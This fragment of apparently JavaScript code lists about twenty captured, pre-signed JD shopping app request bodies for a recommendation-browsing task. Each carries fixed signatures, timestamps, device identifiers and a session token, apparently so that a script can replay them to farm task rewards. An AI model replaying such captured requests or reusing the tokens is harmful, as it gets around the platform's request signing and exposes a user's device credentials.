`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a33e35fe4dbaebc0bb6cf31acf696624&st=1608135463915&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a3133bb0bdd798b3264b94fbe25fe39f&st=1608135478529&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=01e35c947f923e9818180e6e7aa7767f&st=1608135494151&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8fe3ce466b10be78b721560d8ae37a0c&st=1608135507710&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=76dbae0f7044496b445996cce4625462&st=1608135527407&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=77a5ee97b33f4a3278899e68136ece47&st=1608135541366&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e06a172b3fd68a0f61af4eb9bd96f3b&st=1608135556280&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=20ab69a69fbe79c35b5ef680330957bc&st=1608135571343&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a62f9e3a83f38109038ce6542ca47791&st=1608135585500&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fc5c80a2660f1f02c5c7dec0b1fd3a28&st=1608135599007&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a5d979f12d580c2704cc109542567501&st=1608135613226&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=65c634dfc07ea15edfb40d55db1e5af4&st=1608135626981&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4c2e554b8a38234c0bcd2c96bb84b980&st=1608135644097&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bd2ea3163b169eae08a50ba193248ff2&st=1608135666530&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7a89d628a4f83130accce92ea928ff31&st=1608135684848&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cb6fe5ac83bd71f14ab1d1603158df43&st=1608135702313&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ec6f3b9600854f398e6938b3db66f644&st=1608135716033&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=074730c1d3a2f27f3dc90f791d9b5a6d&st=1608135729763&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fb2c75fd39c07ced2c72c58d7d17fd61&st=1608135742970&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2df23f8cf9f729caf39cfc37be2e5cbb&st=1608135758073&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9661628a4a9fbea9090851a711ce493e&st=1608135774356&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 